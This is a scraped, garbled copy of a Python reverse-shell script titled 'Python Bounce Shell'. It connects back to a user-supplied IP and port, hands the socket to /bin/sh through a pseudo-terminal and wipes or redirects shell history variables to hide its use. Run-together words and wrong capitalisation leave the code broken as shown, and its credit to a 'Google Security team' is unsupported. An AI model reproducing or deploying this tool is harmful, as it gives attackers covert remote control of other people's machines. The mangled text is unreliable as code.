Source: https://github.com/dairoot/Shell-rebound/blob/master/back.py
sec.net/nc.py
#-*-coding:utf-8-*-#!/usr/bin/env python"""Back connect PY version,only Linux has pty Modulecode by Google Security team"""ImportSys,os,socket,ptyshell="/bin/sh"defusage (name):Print 'Python reverse connector' Print 'Usage:%s <ip_addr> <port>'%namedefMain ():ifLen (SYS.ARGV)!=3: Usage (sys.argv[0]) sys.exit () s=Socket.socket (Socket.af_inet,socket. SOCK_STREAM)Try: S.connect ((sys.argv[1],int (sys.argv[2]))) Print 'Connect OK' except: Print 'Connect Faild'sys.exit () os.dup2 (S.fileno (), 0) os.dup2 (S.fileno (),1) os.dup2 (S.fileno (),2) GlobalShell os.unsetenv ("Histfile") os.unsetenv ("histfilesize") os.unsetenv ("histsize") os.unsetenv (" History") os.unsetenv ("Histsave") os.unsetenv ("Histzone") os.unsetenv ("Histlog") os.unsetenv ("Histcmd") os.putenv ("Histfile",'/dev/null') os.putenv ("histsize",'0') os.putenv ("histfilesize",'0') Pty.spawn (shell) s.close ()if __name__=='__main__': Main ()
Python Bounce Shell